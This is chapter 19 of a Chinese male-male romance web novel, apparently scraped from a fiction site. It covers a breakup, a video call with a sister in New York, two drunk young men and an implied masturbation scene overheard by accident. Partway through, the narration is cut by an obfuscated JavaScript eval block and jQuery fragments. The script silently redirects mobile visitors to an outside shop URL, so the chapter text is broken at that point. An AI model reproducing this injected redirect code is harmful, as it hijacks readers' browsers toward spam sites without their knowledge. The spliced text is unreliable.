19.第 19 章

作品:《女装捞子掰弯冷酷Daddy

    第十九章


    “夏夏,你怎么了?”


    兼职结束,江祈夏来到奕如南的咖啡厅,整个人趴在吧台上。


    江祈夏仰起半边脸,长叹一口气:“我和迟哥结束了。”


    “为什么啊?”奕如南诧异,“发生什么事了么?因为他爸?”


    “嗯……”江祈夏也不知道该怎么说。


    奕如南将江祈夏的犹豫理解为默认,义愤填膺道:“狗男人,之前还送你礼物呢,现在又逼你们结束了!”


    “也不算……”江祈夏实在不知道该如何对奕如南描述自己此刻的处境。


    如果现在不赶紧与迟川和迟舟灼撇清关系,他还能怎么办呢?


    他在和迟舟灼这段莫名其妙的相处中浪费了不少时间,他实在没空、也没有精力去思考迟舟灼的想法。


    结束是对他而言最好的选择。


    江祈夏兴致缺缺的查了银行卡余额,近期模特工作在陆陆续续打款,加上平时的兼职,攒了一些钱,但离他需要用的金额还差很多。


    江祁秋朋友圈更新了,今天她又和小组成员参加学术比赛,几人在帝国大厦下合影,一块登上Edge观景台,照片中的江祈秋似乎黑了一些,有共同好友在评论去指出这点,江祈秋解释说M国流行美黑,她已经好久没有防晒了。


    江祈夏点赞了她这条朋友圈。


    下一秒,江祈秋就打来视频电话。


    “哥!我担心你这个点睡了,没敢找你!看到你点赞我立马就来了!”


    小姑娘总是充满活力,昨天因为比赛熬了大夜,这会还能活力满满的满纽约跑。


    “好不容易从农村里出来,当然要多逛逛!”镜头摇摇晃晃,阳光明媚,时代广场人来人往,街头艺术家的琴音透过人群和话筒,洋溢着专属于曼哈顿城的热闹繁华,漂洋过海,江祈秋招呼着身边的朋友和江祈夏问好,其中还有一位ABC,用中文聊了几句,挽着江祈秋的手。


    “哥,你听着有点鼻音,是感冒了吗?”江祈秋问。


    江祈夏笑了笑:“有一点,最近降温比较严重,没事,很快就会好啦。你也是,照顾好自己。”


    “我很好!说起来,下个月就要放冬假了,哥,你和妈妈不是刚去办了护照嘛,有没有打算来找我玩!”


    “妈妈最近工作有点忙,可能抽不出时间。”


    “没关系没关系,我提前修完了学分,马上就会迎来超长假期,到时候我就回国陪你们!”


    江祈夏和江祈秋聊了一会,挂断视频,奕如南又坐到他面前,递给他一杯温水。


    江祈夏抿了一口,困意来袭,一开始只是想稍微休息一下,没想到趴在吧台上竟是睡着了。


    咖啡厅播放舒缓轻松的音乐,落地窗隔开冬夜,屋外热闹,屋内安静。


    迟舟灼再一次接到酒吧电话时,正坐在办公室中发呆。


    同汪芯水的饭局结束之后,迟舟灼竟是不知道该去哪,最终决定回到办公室。


    他并不主张加班,夜晚的迟氏集团安静又空荡。


    巨大的落地窗外,城市灯火通明。


    他只开了一盏小灯,在办公室中呆了许久,久到大楼巡逻的保安以为办公室遭贼了,赶紧带着手底下的几人冲进办公楼中,看到是迟舟灼才一脸尴尬的退出。


    直到安静被这一声声脚步打破,迟舟灼才意识到自己发呆了多久。


    他已经很久没有放空过大脑了。


    酒吧的电话便是这时候打来。


    不出意外,内容又是迟川喝醉了,需要家长来接一下,顺便再付个钱。


    “好。”迟舟灼拿起外套,前往酒吧。


    包间中,迟川已经醉倒了,桌上酒瓶凌乱,迟川倒在沙发上,身边林施掐着他,迟川的腿则是牢牢擒住林施的腰,两人保持着干架的姿势醉死过去。


    迟川嘴唇微动,像是在说什么,迟舟灼俯身倾听。


    迟川:“林施……你离小夏远点……”


    林施:“不可能……好机会……狗听你的……”


    迟舟灼:“。”


    林然的电话也来了。


    “你已经到酒吧了?”依旧是往日中漫不经心的语调,“正好,我弟你也接走吧,今天妈给他相亲呢,相到一半跑了,不知怎么就和你儿子混到一起,正好,今晚别回来了,等爸妈气消了再接他回来。”


    迟舟灼眉心一皱:“相亲?”


    林施和迟川一样大,也才刚大二的年纪,怎么就相亲了?


    “是。”林然悠悠道,“我爸妈逼不了我,只能磨一磨小施。我允许你问我为什么。”


    迟舟灼懒得问。


    林然倒先说了:“因为我喜欢男的。”


    “……”迟舟灼,“我不想知道。”


    “你已经知道了。”林然很享受迟舟灼语塞的模样,关是想像一下就已经爽到不行,“小施交给你了。”


    电话挂断,迟舟灼捏了捏眉心。


    迟舟灼把两人带回去,路上颠了一路,迟川和林施清醒三分,又开始嘴上干架。


    迟川:“爸,你来了,我还是决定要和小夏告白……”


    林施:“呵,告的明白吗你,你要弄的明白也不至于让人家小夏拉黑了。”


    迟川:“那比你清楚多了,你现在聊上天了么?”


    林施:“至少没被拉黑。”


    两个醉鬼带着一身酒气口齿不清的吵架,吵的还是江祈夏,迟舟灼听着心烦,直接把两人往迟川房间一丢,里面有浴室和干净的衣服,随便吵。


    房门一关,迟川和林施的声音也被隔绝在房门之后,偌大的房子再一次空旷下来,长久的寂静再次将他包裹其中。


    他今天的思维活动似乎过分超标了。


    汪芯水的话不断环绕耳畔。


    大脑中总是不受控制的浮现出江祈夏的模样。


    男装、女装、惊慌和仓皇、愉悦和欣喜。


    今天的蒋小夏更新了一条微博,应该是品牌方的广子,他佩戴着某品牌的丝巾,并没有露脸,修长手指轻轻撵起丝巾一角,像是拎起一片轻巧羽毛。


    迟舟灼又想起昨天江祈夏搭在自己肩上的手。


    男友视角的拍摄,江祈夏借力撑在迟舟灼身上。


    漂亮的眼睛看向镜头。


    他透过屏幕看向他。


    迟舟灼深吸一口气。


    只是想起来而已,某种不受控制的燥热便不由分说涌出,蚕食他的理智。


    迟舟灼又去冲了冷水澡,但冰冷的温度丝毫没有降下他的燥热。


    是该动手缓解一下了……


    他站在镜子前,头发还湿漉漉的沾着水,水滴顺着发丝往下,滴落在被他放在洗手台旁的手机上,屏幕并没有锁定,停留在蒋小夏那条最新微博上。


    指尖,丝巾,羽毛,迟舟灼转过身。


    镜子倒映他的身影,后背绷起流畅的弧度,水珠顺着脊椎骨往下滑落,划下一道道淡淡的水痕,最终没进腰胯之中。


    镜子一角,放在洗手台上的手机屏幕动了,没擦干的水滴在屏幕上滚动,微博被关了,误打误撞又点开了微信,点进今晚被他无数次点开,又关闭,最终置顶的聊天框中。


    与此同时,另一个房间中,迟川醒了。


    他一脚踹开身旁一身酒臭味的林施,爬起来洗澡。


    都说喝酒会忘却烦恼,可他还是难过。


    像是有什么东西牢牢堵住他的胸腔,说不出,但是烦闷至极。


    从小到大,他还是头一次有这种无法调节


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048059|194089||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的情绪。


    他冲完澡,毫不犹豫把林施踹下床。


    看了就来气。


    狗东西不好好相亲,要和他抢小夏。


    迟川一个人躺在床上,眼睛直愣愣看向天花板,头还是晕,脸也因为醉意无比滚烫。


    好想听听小夏的声音啊……


    他这么想,所以这么做了,迟川摸到手机,拨打了蒋小夏电话。


    好在小夏只是拉黑了他的微信,还没想到要拉黑他的号码,熟悉的接通等待音从听筒中传来。


    ……


    咖啡厅中,奕如南轻柔的喊起江祈夏。


    “夏夏,关门了,咱们去房间里休息吧?”奕如南就住在咖啡厅后方,也给江祈夏留了一个房间。


    刚刚那一下江祈夏已经精神不少,进去洗漱时,又从包里拿出平板。


    “嗯?”奕如南叼了根牙刷出来,疑惑道,“你要追剧吗?”


    “没呢。”江祈夏盘腿坐在沙发上,带上耳机,扫码登录微信,“刚刚导员在班群里发了冬日越野计划,大概在下个月,我看看详细通知。”


    “越野?”


    “是啊,文学院和体育学院共同举办的活动,老传统了。”


    “你也要参加?”奕如南问。


    “我去看看有没有招兼职岗位。”


    江祈夏正逐字阅读冬日越野活动的详细通知,被他丢在沙发上的手机忽然响起来,是卡2,迟川打来的电话。


    江祈夏挂断了几次,但是迟川孜孜不倦不停在打,颇有一种他不接就会打整个通宵的气势。


    或许是有什么重要的事情要说吧。


    江祈夏叹了口气,接起电话。


    “小夏,是我……”


    “我不想和你断了……至少不想连个理由都没有……”


    “是因为我一直都没有和你确定关系吗……”


    迟川的声音带着醉意。


    “没关系的,你可以不用现在告诉我,我……我就想和你说说话。”


    “可以让我听听你的声音吗……”


    迟川问得小心翼翼。


    江祈夏并没有出声。


    他不知道该和迟川说些什么。


    归根到底,这段时间对他最好的,就是迟川……


    既然迟舟灼已经抓到他的小辫子,他和迟川……注定不可能再接触下去……


    而就在此时,平板也响了。


    手机由于接了电话,微信并没有跳出提示音,通话提示音自然往挂着微信的平板跳出来。


    来自迟舟灼的微信通话。


    江祈夏忽然想起,太气愤了,他只记得在小号拉黑了迟舟灼,完全忘了大号也加过迟舟灼的微信。


    老男人打他电话干嘛?!


    “小夏,你那里是什么声音……你在哪呢……”


    通话铃声没有要挂断的意思,就连电话那头的迟川也听到了,江祈夏有些慌张,他现在不知道这对父子是在一起还是什么情况,反正现在父子俩同时给他打电话肯定没什么好事。


    他原本是想要挂断迟舟灼语音通话的,可是手忙脚乱间,竟是误触了接听键,另一边的声音通过自动连接的耳机传到他的耳中。


    很安静。


    “滴答”,水珠滴落静谧空间。


    还有一点点若隐若现的、类似于掌心握拳,撞击皮肤的声音。


    手机中,迟川的嗓音带着醉意,一遍一遍喃喃:“小夏,小夏……”


    耳机里,在那无法忽视的拍打声中,男人的呼吸像是从稍微远一点的地方传来,愈发粗重,愈发急促。


    “江祈夏。”


    “江祈夏。”


    “江祈夏……”


    似是从胸腔中用力挤出,声声沉重,字字浓欲。